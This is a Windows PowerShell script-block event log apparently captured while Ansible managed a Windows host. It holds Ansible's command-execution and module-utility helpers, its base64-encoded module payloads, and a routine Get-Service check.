ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 0aeff2e7-f7f9-426e-8e68-32382b2e9025
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2171 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5064 | 864 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:01 AM | 61e00a24-ee3b-0001-d60c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: e86a8c6e-7108-4516-b309-fa20fc700cc1
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2170 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5064 | 864 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:01 AM | 61e00a24-ee3b-0001-cf0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 9acb6211-a34d-4832-8502-ff0e6425cb86
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2169 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5064 | 864 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:01 AM | 61e00a24-ee3b-0001-c00c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
UeXBlTmFtZSBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlNIQTFDcnlwdG9TZXJ2aWNlUHJvdmlkZXIgfQogICAgICAgICAgICAnc2hhMjU2JyB7ICRzcCA9IE5ldy1PYmplY3QgLVR5cGVOYW1lIFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuU0hBMjU2Q3J5cHRvU2VydmljZVByb3ZpZGVyIH0KICAgICAgICAgICAgJ3NoYTM4NCcgeyAkc3AgPSBOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlNIQTM4NENyeXB0b1NlcnZpY2VQcm92aWRlciB9CiAgICAgICAgICAgICdzaGE1MTInIHsgJHNwID0gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5TSEE1MTJDcnlwdG9TZXJ2aWNlUHJvdmlkZXIgfQogICAgICAgICAgICBkZWZhdWx0IHsgRmFpbC1Kc29uIEB7fSAiVW5zdXBwb3J0ZWQgaGFzaCBhbGdvcml0aG0gc3VwcGxpZWQgJyRhbGdvcml0aG0nIiB9CiAgICAgICAgfQoKICAgICAgICBJZiAoJFBTVmVyc2lvblRhYmx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Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAibm9uLXplcm8gcmV0dXJuIGNvZGUiCn0KCkV4aXQtSnNvbiAkcmVzdWx0Cg==", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "win_shell", "_raw_params": "Get-Service neutron-ovs-agent | %{$_.Status}", "_ansible_verbosity": 2, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: b48db8c7-6914-40bb-b143-1cb6aa0fca94
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2168 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5064 | 864 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:01 AM | 61e00a24-ee3b-0001-ba0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
ZvcmVhY2ggKHZhciB3aCBpbiBuZXcgV2FpdEhhbmRsZVtdIHsgc293YWl0LCBzZXdhaXQgfSkKICAgICAgICAgICAgICAgIHdoLldhaXRPbmUoKTsKICAgICAgICAgICAgc3Rkb3V0ID0gc287CiAgICAgICAgICAgIHN0ZGVyciA9IHNlOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdWludCBHZXRQcm9jZXNzRXhpdENvZGUoSW50UHRyIHByb2Nlc3NIYW5kbGUpCiAgICAgICAgewogICAgICAgICAgICBuZXcgTmF0aXZlV2FpdEhhbmRsZShwcm9jZXNzSGFuZGxlKS5XYWl0T25lKCk7CiAgICAgICAgICAgIHVpbnQgZXhpdENvZGU7CiAgICAgICAgICAgIGlmICgh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bGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVBhcmFtOiBQYXJhbWV0ZXIgJyRuYW1lJyBpcyBub3QgYSBZQU1MIGxpc3QuIgogICAgICAgICAgICB9CiAgICAgICAgICAgICMgLCBpcyBub3QgYSB0eXBvLCBmb3JjZXMgaXQgdG8gcmV0dXJuIGFzIGEgbGlzdCB3aGVuIGl0IGlzIGVtcHR5IG9yIG9ubHkgaGFzIDEgZW50cnkKICAgICAgICAgICAgcmV0dXJuICwkdmFsdWUKICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuICR2YWx1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GUgYSBoYXNoIG9mIGEgZmlsZSBpbiBhIHdheSB3aGljaCBQb3dlclNoZWxsIDMKICAgIGFuZCBhYm92ZSBjYW4gaGFuZGxlCiM+CiAgICBJZiAoVGVzdC1QYXRoIC1QYXRoICRwYXRoIC1QYXRoVHlwZSBMZWFmKQogICAgewogICAgICAgIHN3aXRjaCAoJGFsZ29yaXRobSkKICAgICAgICB7CiAgICAgICAgICAgICdtZDUnIHsgJHNwID0gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5NRDVDcnlwdG9TZXJ2aWNlUHJvdmlkZXIgfQogICAgICAgICAgICAnc2hhMScgeyAkc3AgPSBOZXctT2JqZWN0IC1
ScriptBlock ID: b48db8c7-6914-40bb-b143-1cb6aa0fca94
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2167 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5064 | 864 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:19:01 AM | 61e00a24-ee3b-0001-ba0c-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcmlwdCgiRnVuY3Rpb24gV3JpdGUtSG9zdChgJG1zZyl7IFdyaXRlLU91dHB1dCBgJG1zZyB9IikgfCBPdXQtTnVsbAoKICAgIEZvckVhY2ggKCRlbnZfa3YgaW4gJHBheWxvYWQuZW52aXJvbm1lbnQuR2V0RW51bWVyYXRvcigpKSB7CiAgICAgICAgIyBuZWVkIHRvIGVzY2FwZSAnIGluIGJvdGggdGhlIGtleSBhbmQgdmFsdWUKICAgICAgICAkZW52X2tleSA9ICRlbnZfa3YuS2V5LlRvU3RyaW5nKCkuUmVwbGFjZSgiJyIsICInJyIpCiAgICAgICAg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F9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": 